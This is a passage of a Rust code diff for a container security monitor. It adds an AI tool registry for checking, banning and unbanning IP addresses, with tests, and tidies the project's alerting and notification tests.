.unwrap(); + + let result = execute_check_ip_status(&pool, r#"{"ip_address": "9.9.9.9"}"#); + let payload: serde_json::Value = serde_json::from_str(&result.content).unwrap(); + assert_eq!(payload["offense_count_24h"], 8); + } + + #[test] + fn test_check_ip_status_returns_error_for_invalid_args() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + + let result = execute_check_ip_status(&pool, "not json"); + assert!(result.content.contains("error")); + } + + #[actix_rt::test] + async fn test_ban_ip_records_offense_and_blocks() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let config = IpBanConfig::from_env(); + + let result = execute_ban_ip( + &pool, + &config, + r#"{"ip_address": "5.6.7.8", "reason": "sql injection attempt", "duration_secs": 60}"#, + ) + .await; + + #[cfg(target_os = "linux")] + if !running_as_root() { + assert!( + result.content.contains("error"), + "ban without CAP_NET_ADMIN must report the firewall failure: {}", + result.content + ); + return; + } + + assert!(result.content.contains("true")); + assert!(result.content.contains("5.6.7.8")); + assert!(result.content.contains("cli_command")); + + // Verify it's now blocked + let check = execute_check_ip_status(&pool, r#"{"ip_address": "5.6.7.8"}"#); + assert!(check.content.contains("true")); // banned: true + } + + #[actix_rt::test] + async fn test_ban_ip_uses_default_duration() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let config = IpBanConfig::from_env(); + + let result = execute_ban_ip( + &pool, + &config, + r#"{"ip_address": "9.10.11.12", "reason": "path traversal probe"}"#, + ) + .await; + + #[cfg(target_os = "linux")] + if !running_as_root() { + assert!( + result.content.contains("error"), + "ban without CAP_NET_ADMIN must report the firewall failure: {}", + result.content + ); + return; + } + + assert!(result.content.contains("success")); + } + + #[actix_rt::test] + async fn test_ban_ip_refuses_cidr_and_infrastructure_addresses() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let config = IpBanConfig::from_env(); + + // A range would drop a whole docker network; a container address would + // drop a service peer. Neither may be banned from here. The refusal + // happens before any firewall write, so this holds for every user. + for ip in ["172.16.0.0/12", "10.0.0.5", "127.0.0.1", "not-an-ip"] { + let result = execute_ban_ip( + &pool, + &config, + &format!(r#"{{"ip_address": "{ip}", "reason": "path traversal probe"}}"#), + ) + .await; + assert!( + result.content.contains("Refused") || result.content.contains("error"), + "{ip} must not be bannable, got: {}", + result.content + ); + } + } + + #[actix_rt::test] + async fn test_unban_ip_releases_a_ban() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let config = IpBanConfig::from_env(); + + let banned = execute_ban_ip( + &pool, + &config, + r#"{"ip_address": "5.6.7.8", "reason": "path traversal probe", "duration_secs": 60}"#, + ) + .await; + + #[cfg(target_os = "linux")] + if !running_as_root() { + assert!( + banned.content.contains("error"), + "ban without CAP_NET_ADMIN must report the firewall failure: {}", + banned.content + ); + return; + } + + assert!(banned.content.contains("success")); + + let released = execute_unban_ip(&pool, &config, r#"{"ip_address": "5.6.7.8"}"#).await; + assert!(released.content.contains("released")); + + let check = execute_check_ip_status(&pool, r#"{"ip_address": "5.6.7.8"}"#); + let payload: serde_json::Value = serde_json::from_str(&check.content).unwrap(); + assert_eq!(payload["banned"], false); + } +} diff --git a/src/tools/mod.rs b/src/tools/mod.rs new file mode 100644 index 0000000..79aa961 --- /dev/null +++ b/src/tools/mod.rs @@ -0,0 +1,162 @@ +//! AI tool-use registry +//! +//! Defines tools the AI can call during log analysis and dispatches +//! execution to the appropriate handlers. + +pub mod alerts; +pub mod detectors; +pub mod docker; +pub mod ip_ban; +pub mod types; + +use std::sync::RwLock; + +use crate::database::connection::DbPool; +use crate::detectors::audits::ContainerPosture; +use crate::detectors::DetectorRegistry; +use crate::ip_ban::config::IpBanConfig; + +use types::{ToolCall, ToolDef, ToolResult}; + +/// Central registry holding references to subsystems the AI can query. +pub struct ToolRegistry { + pool: DbPool, + ip_ban_config: IpBanConfig, + detectors: DetectorRegistry, + /// Pre-fetched container postures (populated each sniff pass) + postures: RwLock>, +} + +impl ToolRegistry { + pub fn new(pool: DbPool, ip_ban_config: IpBanConfig, detectors: DetectorRegistry) -> Self { + Self { + pool, + ip_ban_config, + detectors, + postures: RwLock::new(Vec::new()), + } + } + + /// Update container postures (called each sniff pass before analysis) + pub fn set_postures(&self, postures: Vec) { + *self.postures.write().unwrap() = postures; + } + + /// All tool definitions for the OpenAI `tools` array + pub fn definitions(&self) -> Vec { + let mut defs = Vec::new(); + defs.extend(ip_ban::definitions()); + defs.extend(docker::definitions()); + defs.extend(alerts::definitions()); + defs.extend(detectors::definitions()); + defs + } + + /// Execute a tool call and return the result + /// + /// The individual executors label their results with the tool name, which is + /// convenient for logging but is not what the API wants back: a `tool` + /// message must carry the `id` of the originating call, or the provider + /// rejects the whole request. Stamping it here keeps every executor honest. + pub async fn execute(&self, call: &ToolCall) -> ToolResult { + let mut result = self.dispatch(call).await; + result.tool_call_id = call.id.clone(); + result + } + + async fn dispatch(&self, call: &ToolCall) -> ToolResult { + let args = &call.function.arguments; + match call.function.name.as_str() { + "check_ip_status" => ip_ban::execute_check_ip_status(&self.pool, args), + "ban_ip" => ip_ban::execute_ban_ip(&self.pool, &self.ip_ban_config, args).await, + "unban_ip" => ip_ban::execute_unban_ip(&self.pool, &self.ip_ban_config, args).await, + "list_containers" => { + let postures = self.postures.read().unwrap(); + docker::execute_list_containers(&postures) + } + "get_container_posture" => { + let postures = self.postures.read().unwrap(); + docker::execute_get_container_posture(&postures, args) + } + "recent_alerts" => alerts::execute_recent_alerts(&self.pool, args).await, + "run_detectors" => detectors::execute_run_detectors(&self.detectors, args), + unknown => ToolResult::error(unknown, &format!("Unknown tool: {}", unknown)), + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::database::connection::{create_pool, init_database}; + + fn make_registry() -> ToolRegistry { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + ToolRegistry::new(pool, IpBanConfig::from_env(), DetectorRegistry::default()) + } + + #[test] + fn test_definitions_include_all_tools() { + let registry = make_registry(); + let defs = registry.definitions(); + let names: Vec<&str> = defs.iter().map(|d| d.function.name.as_str()).collect(); + assert!(names.contains(&"check_ip_status")); + assert!(names.contains(&"ban_ip")); + assert!(names.contains(&"unban_ip")); + assert!(names.contains(&"list_containers")); + assert!(names.contains(&"get_container_posture")); + assert!(names.contains(&"recent_alerts")); + assert!(names.contains(&"run_detectors")); + } + + #[actix_rt::test] + async fn test_execute_unknown_tool_returns_error() { + let registry = make_registry(); + let call = ToolCall { + id: "call_1".into(), + call_type: "function".into(), + function: types::FunctionCall { + name: "nonexistent_tool".into(), + arguments: "{}".into(), + }, + }; + let result = registry.execute(&call).await; + assert!(result.content.contains("Unknown tool")); + assert_eq!(result.tool_call_id, "call_1"); + } + + #[actix_rt::test] + async fn test_execute_returns_call_id_not_tool_name() { + let registry = make_registry(); + let call = ToolCall { + id: "call_abc123".into(), + call_type: "function".into(), + function: types::FunctionCall { + name: "check_ip_status".into(), + arguments: r#"{"ip_address":"203.0.113.10"}"#.into(), + }, + }; + + // The API rejects the request when a tool message references anything + // other than the id of the call it answers. + let result = registry.execute(&call).await; + assert_eq!(result.tool_call_id, "call_abc123"); + } + + #[actix_rt::test] + async fn test_execute_check_ip_status() { + let registry = make_registry(); + let call = ToolCall { + id: "call_2".into(), + call_type: "function".into(), + function: types::FunctionCall { + name: "check_ip_status".into(), + arguments: r#"{"ip_address": "1.2.3.4"}"#.into(), + }, + }; + let result = registry.execute(&call).await; + assert!(result.content.contains("1.2.3.4")); + assert!(result.content.contains("banned")); + } +} diff --git a/src/tools/types.rs b/src/tools/types.rs new file mode 100644 index 0000000..ab94025 --- /dev/null +++ b/src/tools/types.rs @@ -0,0 +1,111 @@ +//! Tool-use types for AI function calling + +use serde::{Deserialize, Serialize}; + +/// Definition of a tool the AI can call (maps to OpenAI function schema) +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ToolDef { + #[serde(rename = "type")] + pub tool_type: String, + pub function: FunctionDef, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct FunctionDef { + pub name: String, + pub description: String, + pub parameters: serde_json::Value, +} + +/// A tool call requested by the AI +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ToolCall { + pub id: String, + #[serde(rename = "type")] + pub call_type: String, + pub function: FunctionCall, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct FunctionCall { + pub name: String, + pub arguments: String, +} + +/// Result of executing a tool +#[derive(Debug, Clone, Serialize)] +pub struct ToolResult { + pub tool_call_id: String, + pub role: String, + pub content: String, +} + +impl ToolResult { + pub fn success(tool_call_id: impl Into, content: impl Serialize) -> Self { + Self { + tool_call_id: tool_call_id.into(), + role: "tool".into(), + content: serde_json::to_string(&content).unwrap_or_else(|_| "{}".into()), + } + } + + pub fn error(tool_call_id: impl Into, message: &str) -> Self { + Self { + tool_call_id: tool_call_id.into(), + role: "tool".into(), + content: serde_json::json!({ "error": message }).to_string(), + } + } +} + +/// Helper to build a ToolDef with JSON Schema parameters +pub fn tool_def(name: &str, description: &str, parameters: serde_json::Value) -> ToolDef { + ToolDef { + tool_type: "function".into(), + function: FunctionDef { + name: name.into(), + description: description.into(), + parameters, + }, + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_tool_def_serializes_to_openai_format() { + let def = tool_def( + "check_ip", + "Check IP status", + serde_json::json!({ + "type": "object", + "properties": { + "ip": { "type": "string" } + }, + "required": ["ip"] + }), + ); + + let json = serde_json::to_value(&def).unwrap(); + assert_eq!(json["type"], "function"); + assert_eq!(json["function"]["name"], "check_ip"); + assert_eq!(json["function"]["parameters"]["type"], "object"); + } + + #[test] + fn test_tool_result_success_serialization() { + let result = ToolResult::success("call_1", serde_json::json!({"banned": false})); + assert_eq!(result.tool_call_id, "call_1"); + assert_eq!(result.role, "tool"); + assert!(result.content.contains("banned")); + } + + #[test] + fn test_tool_result_error_serialization() { + let result = ToolResult::error("call_2", "IP not found"); + assert!(result.content.contains("error")); + assert!(result.content.contains("IP not found")); + } +} diff --git a/tests/alerting/alert_manager_test.rs b/tests/alerting/alert_manager_test.rs index 7e5cb16..2a5bcbf 100644 --- a/tests/alerting/alert_manager_test.rs +++ b/tests/alerting/alert_manager_test.rs @@ -2,10 +2,9 @@ //! //! Tests for alert management functionality +use stackdog::alerting::alert::{AlertSeverity, AlertType}; use stackdog::alerting::manager::AlertManager; -use stackdog::alerting::alert::{Alert, AlertSeverity, AlertType}; use stackdog::rules::result::Severity; -use chrono::Utc; #[test] fn test_alert_manager_creation() { @@ -16,7 +15,7 @@ fn test_alert_manager_creation() { #[test] fn test_alert_generation_from_rule() { let mut manager = AlertManager::new().expect("Failed to create manager"); - + // Generate alert from rule match let alert = manager.generate_alert( AlertType::RuleViolation, @@ -24,7 +23,7 @@ fn test_alert_generation_from_rule() { "Rule violation detected".to_string(), None, ); - + assert!(alert.is_ok()); assert_eq!(manager.alert_count(), 1); } @@ -32,7 +31,7 @@ fn test_alert_generation_from_rule() { #[test] fn test_alert_generation_from_threshold() { let mut manager = AlertManager::new().expect("Failed to create manager"); - + // Generate alert when threshold exceeded let alert = manager.generate_alert( AlertType::ThresholdExceeded, @@ -40,14 +39,14 @@ fn test_alert_generation_from_threshold() { "Threat score exceeded threshold".to_string(), None, ); - + assert!(alert.is_ok()); } #[test] fn test_alert_storage() { let mut manager = AlertManager::new().expect("Failed to create manager"); - + // Add multiple alerts for i in 0..5 { let _ = manager.generate_alert( @@ -57,14 +56,14 @@ fn test_alert_storage() { None, ); } - + assert_eq!(manager.alert_count(), 5); } #[test] fn test_alert_querying() { let mut manager = AlertManager::new().expect("Failed to create manager"); - + // Add alerts with different severities let _ = manager.generate_alert( AlertType::ThreatDetected, @@ -72,18 +71,18 @@ fn test_alert_querying() { "High alert".to_string(), None, ); - + let _ = manager.generate_alert( AlertType::ThreatDetected, Severity::Low, "Low alert".to_string(), None, ); - + // Query by severity let high_alerts = manager.get_alerts_by_severity(AlertSeverity::High); assert_eq!(high_alerts.len(), 1); - + // Get all alerts let all_alerts = manager.get_all_alerts(); assert_eq!(all_alerts.len(), 2); @@ -92,60 +91,66 @@ fn test_alert_querying() { #[test] fn test_alert_acknowledgment() { let mut manager = AlertManager::new().expect("Failed to create manager"); - - let alert = manager.generate_alert( - AlertType::ThreatDetected, - Severity::High, - "Test".to_string(), - None, - ).expect("Failed to generate alert"); - - let alert_id = alert.id().clone(); - + + let alert = manager + .generate_alert( + AlertType::ThreatDetected, + Severity::High, + "Test".to_string(), + None, + ) + .expect("Failed to generate alert"); + + let alert_id = alert.id(); + // Acknowledge the alert - let result = manager.acknowledge_alert(&alert_id); + let result = manager.acknowledge_alert(alert_id); assert!(result.is_ok()); - + // Verify status changed - let updated = manager.get_alert(&alert_id); + let updated = manager.get_alert(alert_id); assert!(updated.is_some()); } #[test] fn test_alert_resolution() { let mut manager = AlertManager::new().expect("Failed to create manager"); - - let alert = manager.generate_alert( - AlertType::ThreatDetected, - Severity::High, - "Test".to_string(), - None, - ).expect("Failed to generate alert"); - - let alert_id = alert.id().clone(); - + + let alert = manager + .generate_alert( + AlertType::ThreatDetected, + Severity::High, + "Test".to_string(), + None, + ) + .expect("Failed to generate alert"); + + let alert_id = alert.id(); + // First acknowledge, then resolve - let _ = manager.acknowledge_alert(&alert_id); - let result = manager.resolve_alert(&alert_id, "Issue resolved".to_string()); - + let _ = manager.acknowledge_alert(alert_id); + let result = manager.resolve_alert(alert_id, "Issue resolved".to_string()); + assert!(result.is_ok()); } #[test] fn test_alert_retrieval_by_id() { let mut manager = AlertManager::new().expect("Failed to create manager"); - - let alert = manager.generate_alert( - AlertType::ThreatDetected, - Severity::High, - "Test".to_string(), - None, - ).expect("Failed to generate alert"); - - let alert_id = alert.id().clone(); - + + let alert = manager + .generate_alert( + AlertType::ThreatDetected, + Severity::High, + "Test".to_string(), + None, + ) + .expect("Failed to generate alert"); + + let alert_id = alert.id(); + // Retrieve by ID - let retrieved = manager.get_alert(&alert_id); + let retrieved = manager.get_alert(alert_id); assert!(retrieved.is_some()); assert_eq!(retrieved.unwrap().id(), alert_id); } @@ -153,7 +158,7 @@ fn test_alert_retrieval_by_id() { #[test] fn test_alert_retrieval_not_found() { let manager = AlertManager::new().expect("Failed to create manager"); - + // Try to get non-existent alert let retrieved = manager.get_alert("non-existent-id"); assert!(retrieved.is_none()); @@ -162,50 +167,56 @@ fn test_alert_retrieval_not_found() { #[test] fn test_alert_count_by_status() { let mut manager = AlertManager::new().expect("Failed to create manager"); - + // Create alerts and change some status - let alert1 = manager.generate_alert( - AlertType::ThreatDetected, - Severity::High, - "Test 1".to_string(), - None, - ).expect("Failed to generate alert"); - - let alert2 = manager.generate_alert( - AlertType::ThreatDetected, - Severity::High, - "Test 2".to_string(), - None, - ).expect("Failed to generate alert"); - - let id1 = alert1.id().clone(); - let _ = manager.acknowledge_alert(&id1); - + let alert1 = manager + .generate_alert( + AlertType::ThreatDetected, + Severity::High, + "Test 1".to_string(), + None, + ) + .expect("Failed to generate alert"); + + let _alert2 = manager + .generate_alert( + AlertType::ThreatDetected, + Severity::High, + "Test 2".to_string(), + None, + ) + .expect("Failed to generate alert"); + + let id1 = alert1.id(); + let _ = manager.acknowledge_alert(id1); + let stats = manager.get_stats(); - assert!(stats.new_count >= 1); // alert2 should be new - assert!(stats.acknowledged_count >= 1); // alert1 should be acked + assert!(stats.new_count >= 1); // alert2 should be new + assert!(stats.acknowledged_count >= 1); // alert1 should be acked } #[test] fn test_clear_resolved_alerts() { let mut manager = AlertManager::new().expect("Failed to create manager"); - + // Create and resolve alert - let alert = manager.generate_alert( - AlertType::ThreatDetected, - Severity::High, - "Test".to_string(), - None, - ).expect("Failed to generate alert"); - - let alert_id = alert.id().clone(); - let _ = manager.acknowledge_alert(&alert_id); - let _ = manager.resolve_alert(&alert_id, "Resolved".to_string()); - + let alert = manager + .generate_alert( + AlertType::ThreatDetected, + Severity::High, + "Test".to_string(), + None, + ) + .expect("Failed to generate alert"); + + let alert_id = alert.id(); + let _ = manager.acknowledge_alert(alert_id); + let _ = manager.resolve_alert(alert_id, "Resolved".to_string()); + // Clear resolved let cleared = manager.clear_resolved_alerts(); assert!(cleared >= 1); - + // Alert should be gone assert_eq!(manager.alert_count(), 0); } diff --git a/tests/alerting/alert_test.rs b/tests/alerting/alert_test.rs index 27356c1..afc88d5 100644 --- a/tests/alerting/alert_test.rs +++ b/tests/alerting/alert_test.rs @@ -2,10 +2,10 @@ //! //! Tests for alert data model +use chrono::Utc; use stackdog::alerting::alert::{Alert, AlertSeverity, AlertStatus, AlertType}; -use stackdog::events::syscall::{SyscallEvent, SyscallType}; use stackdog::events::security::SecurityEvent; -use chrono::Utc; +use stackdog::events::syscall::{SyscallEvent, SyscallType}; #[test] fn test_alert_creation() { @@ -14,7 +14,7 @@ fn test_alert_creation() { AlertSeverity::High, "Suspicious activity detected".to_string(), ); - + assert_eq!(alert.alert_type(), AlertType::ThreatDetected); assert_eq!(alert.severity(), AlertSeverity::High); assert_eq!(alert.message(), "Suspicious activity detected"); @@ -27,16 +27,16 @@ fn test_alert_id_generation() { AlertSeverity::High, "Test alert".to_string(), ); - + let alert2 = Alert::new( AlertType::ThreatDetected, AlertSeverity::High, "Test alert".to_string(), ); - + // Each alert should have unique ID assert_ne!(alert1.id(), alert2.id()); - + // ID should not be empty assert!(!alert1.id().is_empty()); } @@ -66,14 +66,14 @@ fn test_alert_status_transitions() { AlertSeverity::High, "Test".to_string(), ); - + // Initial status should be New assert_eq!(alert.status(), AlertStatus::New); - + // Transition to Acknowledged alert.acknowledge(); assert_eq!(alert.status(), AlertStatus::Acknowledged); - + // Transition to Resolved alert.resolve(); assert_eq!(alert.status(), AlertStatus::Resolved); @@ -86,7 +86,7 @@ fn test_alert_status_cannot_skip() { AlertSeverity::High, "Test".to_string(), ); - + // Cannot go from New directly to Resolved alert.resolve(); // Should still be New or transitioned properly @@ -100,10 +100,10 @@ fn test_alert_fingerprint() { AlertSeverity::High, "Test alert".to_string(), ); - + let fingerprint1 = alert1.fingerprint(); let fingerprint2 = alert1.fingerprint(); - + // Same alert should have same fingerprint assert_eq!(fingerprint1, fingerprint2); } @@ -115,13 +115,13 @@ fn test_alert_fingerprint_different_alerts() { AlertSeverity::High, "Alert 1".to_string(), ); - + let alert2 = Alert::new( AlertType::ThreatDetected, AlertSeverity::High, "Alert 2".to_string(), ); - + // Different alerts should have different fingerprints assert_ne!(alert1.fingerprint(), alert2.fingerprint()); } @@ -129,32 +129,35 @@ fn test_alert_fingerprint_different_alerts() { #[test] fn test_alert_with_source_event() { let event = SecurityEvent::Syscall(SyscallEvent::new( - 1234, 1000, SyscallType::Execve, Utc::now(), + 1234, + 1000, + SyscallType::Execve, + Utc::now(), )); - + let mut alert = Alert::new( AlertType::ThreatDetected, AlertSeverity::High, "Test".to_string(), ); - + alert.set_source_event(event.clone()); - + assert!(alert.source_event().is_some()); } #[test] fn test_alert_timestamp() { let before = Utc::now(); - + let alert = Alert::new( AlertType::ThreatDetected, AlertSeverity::High, "Test".to_string(), ); - + let after = Utc::now(); - + // Alert timestamp should be between before and after assert!(alert.timestamp() >= before); assert!(alert.timestamp() <= after); @@ -167,9 +170,9 @@ fn test_alert_display() { AlertSeverity::Critical, "Critical threat".to_string(), ); - + let display = format!("{}", alert); - + assert!(display.contains("Critical")); assert!(display.contains("ThreatDetected")); } @@ -181,10 +184,13 @@ fn test_alert_metadata() { AlertSeverity::High, "Test".to_string(), ); - + alert.add_metadata("container_id".to_string(), "abc123".to_string()); alert.add_metadata("pid".to_string(), "1234".to_string()); - - assert_eq!(alert.metadata().get("container_id"), Some(&"abc123".to_string())); + + assert_eq!( + alert.metadata().get("container_id"), + Some(&"abc123".to_string()) + ); assert_eq!(alert.metadata().get("pid"), Some(&"1234".to_string())); } diff --git a/tests/alerting/deduplication_test.rs b/tests/alerting/deduplication_test.rs index c226b05..c0ca93c 100644 --- a/tests/alerting/deduplication_test.rs +++ b/tests/alerting/deduplication_test.rs @@ -2,9 +2,8 @@ //! //! Tests for alert deduplication functionality -use stackdog::alerting::dedup::{AlertDeduplicator, DedupConfig, Fingerprint}; use stackdog::alerting::alert::{Alert, AlertSeverity, AlertType}; -use chrono::{Utc, Duration}; +use stackdog::alerting::dedup::{AlertDeduplicator, DedupConfig}; #[test] fn test_deduplication_fingerprint() { @@ -13,18 +12,18 @@ fn test_deduplication_fingerprint() { AlertSeverity::High, "Test alert".to_string(), ); - + let alert2 = Alert::new( AlertType::ThreatDetected, AlertSeverity::High, "Test alert".to_string(), ); - + let dedup = AlertDeduplicator::new(DedupConfig::default()); - + let fp1 = dedup.calculate_fingerprint(&alert1); let fp2 = dedup.calculate_fingerprint(&alert2); - + // Same alert content should produce same fingerprint assert_eq!(fp1, fp2); } @@ -36,18 +35,18 @@ fn test_deduplication_fingerprint_different_content() { AlertSeverity::High, "Alert 1".to_string(), ); - + let alert2 = Alert::new( AlertType::ThreatDetected, AlertSeverity::High, "Alert 2".to_string(), ); - + let dedup = AlertDeduplicator::new(DedupConfig::default()); - + let fp1 = dedup.calculate_fingerprint(&alert1); let fp2 = dedup.calculate_fingerprint(&alert2); - + // Different content should produce different fingerprint assert_ne!(fp1, fp2); } @@ -56,16 +55,16 @@ fn test_deduplication_fingerprint_different_content() { fn test_deduplication_time_window() { let config = DedupConfig::default().with_window_seconds(60); let mut dedup = AlertDeduplicator::new(config); - + let alert = Alert::new( AlertType::ThreatDetected, AlertSeverity::High, "Test".to_string(), ); - + // First alert should not be duplicate assert!(!dedup.is_duplicate(&alert)); - + // Same alert within window should be duplicate assert!(dedup.is_duplicate(&alert)); } @@ -75,19 +74,19 @@ fn test_deduplication_time_window_expired() { // Very short window let config = DedupConfig::default().with_window_seconds(1); let mut dedup = AlertDeduplicator::new(config); - + let alert = Alert::new( AlertType::ThreatDetected, AlertSeverity::High, "Test".to_string(), ); - + // First alert should not be duplicate assert!(!dedup.is_duplicate(&alert)); - + // Wait for window to expire std::thread::sleep(std::time::Duration::from_secs(2)); - + // Same alert after window should not be duplicate assert!(!dedup.is_duplicate(&alert)); } @@ -97,20 +96,20 @@ fn test_deduplication_aggregation() { let config = DedupConfig::default() .with_window_seconds(60) .with_aggregation(true); - + let mut dedup = AlertDeduplicator::new(config); - + let alert = Alert::new( AlertType::ThreatDetected, AlertSeverity::High, "Test".to_string(), ); - + // First alert let result1 = dedup.check(&alert); assert!(!result1.is_duplicate); assert_eq!(result1.count, 1); - + // Duplicate alert (should be aggregated) let result2 = dedup.check(&alert); assert!(result2.is_duplicate); @@ -121,13 +120,13 @@ fn test_deduplication_aggregation() { fn test_deduplication_disabled() { let config = DedupConfig::default().with_enabled(false); let mut dedup = AlertDeduplicator::new(config); - + let alert = Alert::new( AlertType::ThreatDetected, AlertSeverity::High, "Test".to_string(), ); - + // Deduplication disabled - should never be duplicate assert!(!dedup.is_duplicate(&alert)); assert!(!dedup.is_duplicate(&alert)); @@ -139,7 +138,7 @@ fn test_dedup_config_builder() { .with_enabled(true) .with_window_seconds(120) .with_aggregation(true); - + assert!(config.enabled()); assert_eq!(config.window_seconds(), 120); assert!(config.aggregation_enabled()); @@ -152,79 +151,79 @@ fn test_fingerprint_display() { AlertSeverity::High, "Test".to_string(), ); - + let dedup = AlertDeduplicator::new(DedupConfig::default()); let fp = dedup.calculate_fingerprint(&alert); - + let display = format!("{}", fp); - + // Fingerprint should be non-empty string assert!(!display.is_empty()); } #[test] fn test_deduplication_different_types() { - let mut dedup = AlertDeduplicator::new(DedupConfig::default()); - + let dedup = AlertDeduplicator::new(DedupConfig::default()); + let alert1 = Alert::new( AlertType::ThreatDetected, AlertSeverity::High, "Test".to_string(), ); - + let alert2 = Alert::new( AlertType::RuleViolation, AlertSeverity::High, "Test".to_string(), ); - + // Different types should have different fingerprints let fp1 = dedup.calculate_fingerprint(&alert1); let fp2 = dedup.calculate_fingerprint(&alert2); - + assert_ne!(fp1, fp2); } #[test] fn test_deduplication_different_severities() { - let mut dedup = AlertDeduplicator::new(DedupConfig::default()); - + let dedup = AlertDeduplicator::new(DedupConfig::default()); + let alert1 = Alert::new( AlertType::ThreatDetected, AlertSeverity::High, "Test".to_string(), ); - + let alert2 = Alert::new( AlertType::ThreatDetected, AlertSeverity::Low, "Test".to_string(), ); - + // Different severities should have different fingerprints let fp1 = dedup.calculate_fingerprint(&alert1); let fp2 = dedup.calculate_fingerprint(&alert2); - + assert_ne!(fp1, fp2); } #[test] fn test_dedup_stats() { let mut dedup = AlertDeduplicator::new(DedupConfig::default()); - + let alert = Alert::new( AlertType::ThreatDetected, AlertSeverity::High, "Test".to_string(), ); - + // Generate some duplicates let _ = dedup.check(&alert); let _ = dedup.check(&alert); let _ = dedup.check(&alert); - + let stats = dedup.get_stats(); - + assert!(stats.total_checked >= 3); assert!(stats.duplicates_found >= 2); } diff --git a/tests/alerting/mod.rs b/tests/alerting/mod.rs index a4bf8f8..e6c0a8c 100644 --- a/tests/alerting/mod.rs +++ b/tests/alerting/mod.rs @@ -1,6 +1,6 @@ //! Alerting module tests -mod alert_test; mod alert_manager_test; +mod alert_test; mod deduplication_test; mod notifications_test; diff --git a/tests/alerting/notifications_test.rs b/tests/alerting/notifications_test.rs index 15f9f3c..f2cee71 100644 --- a/tests/alerting/notifications_test.rs +++ b/tests/alerting/notifications_test.rs @@ -2,22 +2,22 @@ //! //! Tests for notification channel functionality -use stackdog::alerting::notifications::{NotificationChannel, NotificationConfig}; use stackdog::alerting::alert::{Alert, AlertSeverity, AlertType}; +use stackdog::alerting::notifications::{NotificationChannel, NotificationConfig}; -#[test] -fn test_console_notification() { +#[actix_rt::test] +async fn test_console_notification() { let channel = NotificationChannel::Console; - + let alert = Alert::new( AlertType::ThreatDetected, AlertSeverity::High, "Test alert".to_string(), ); - + // Console notification should succeed (just prints to stdout) - let result = channel.send(&alert, &NotificationConfig::default()); - + let result = channel.send(&alert, &NotificationConfig::default()).await; + // Should succeed (may just log) assert!(result.is_ok()); } @@ -29,7 +29,7 @@ fn test_notification_config_builder() { .with_smtp_host("smtp.example.com".to_string()) .with_smtp_port(587) .with_webhook_url("https://example.com/webhook".to_string()); - + assert_eq!(config.slack_webhook(), Some("https://hooks.slack.com/test")); assert_eq!(config.smtp_host(), Some("smtp.example.com")); assert_eq!(config.smtp_port(), Some(587)); @@ -42,10 +42,10 @@ fn test_slack_notification_format() { AlertSeverity::Critical, "Critical threat detected".to_string(), ); - + // Build Slack payload let payload = build_slack_payload(&alert); - + assert!(payload.contains("Critical")); assert!(payload.contains("ThreatDetected")); assert!(payload.contains("Critical threat detected")); @@ -58,10 +58,10 @@ fn test_webhook_notification_format() { AlertSeverity::Medium, "Rule violation".to_string(), ); - + // Build webhook payload let payload = build_webhook_payload(&alert); - + assert!(payload.contains("RuleViolation")); assert!(payload.contains("Medium")); } @@ -69,11 +69,11 @@ fn test_webhook_notification_format() { #[test] fn test_notification_routing_by_severity() { use stackdog::alerting::notifications::route_by_severity; - + // Critical should route to all channels let channels = route_by_severity(AlertSeverity::Critical); - assert!(channels.len() >= 1); - + assert!(!channels.is_empty()); + // Info should route to fewer channels let info_channels = route_by_severity(AlertSeverity::Info); assert!(info_channels.len() <= channels.len()); @@ -82,7 +82,7 @@ fn test_notification_routing_by_severity() { #[test] fn test_alert_severity_to_slack_color() { use stackdog::alerting::notifications::severity_to_slack_color; - + assert_eq!(severity_to_slack_color(AlertSeverity::Critical), "#FF0000"); assert_eq!(severity_to_slack_color(AlertSeverity::High), "#FF8C00"); assert_eq!(severity_to_slack_color(AlertSeverity::Medium), "#FFD700"); @@ -90,13 +90,126 @@ fn test_alert_severity_to_slack_color() { assert_eq!(severity_to_slack_color(AlertSeverity::Info), "#0000FF"); } +#[test] +fn test_discord_notification_format() { + use stackdog::alerting::notifications::build_discord_message; + + let alert = Alert::new( + AlertType::ThreatDetected, + AlertSeverity::Critical, + "Critical threat detected".to_string(), + ); + let config = NotificationConfig::default() + .with_discord_webhook("https://discord.com/api/webhooks/test".to_string()); + + let payload = build_discord_message(&alert, &config); + + assert!(payload.contains("Stackdog Security Alert")); + assert!(payload.contains("Critical threat detected")); + assert!(payload.contains("ThreatDetected")); + assert!(payload.contains("Severity: Critical")); +} + +#[test] +fn test_discord_message_fits_the_content_limit() { + use stackdog::alerting::notifications::build_discord_message; + + // Discord rejects content over 2000 characters. + let alert = Alert::new( + AlertType::AnomalyDetected, + AlertSeverity::High, + "A".repeat(5000), + ); + let payload = build_discord_message(&alert, &NotificationConfig::default()); + let parsed: serde_json::Value = serde_json::from_str(&payload).unwrap(); + assert!(parsed["content"].as_str().unwrap().chars().count() <= 2000); +} + +#[test] +fn test_discord_channel_routed_only_when_configured() { + let configured = NotificationConfig::default() + .with_discord_webhook("https://discord.com/api/webhooks/test".to_string()); + assert!(configured + .configured_channels_for_severity(AlertSeverity::Critical) + .iter() + .any(|channel| matches!(channel, NotificationChannel::Discord))); + + let bare = NotificationConfig::default(); + assert!(!bare + .configured_channels_for_severity(AlertSeverity::Critical) + .iter() + .any(|channel| matches!(channel, NotificationChannel::Discord))); +} + +#[test] +fn test_telegram_notification_format() { + use stackdog::alerting::notifications::build_telegram_message; + + let alert = Alert::new( + AlertType::ThreatDetected, + AlertSeverity::Critical, + "Critical threat detected".to_string(), + ); + let config = + NotificationConfig::default().with_telegram("123:abc".to_string(), "-100123".to_string()); + + let payload = build_telegram_message(&alert, &config); + let parsed: serde_json::Value = serde_json::from_str(&payload).unwrap(); + + assert_eq!(parsed["chat_id"], "-100123"); + assert!(parsed["text"] + .as_str() + .unwrap() + .contains("Critical threat detected")); + assert!(parsed["text"] + .as_str() + .unwrap() + .contains("Stackdog 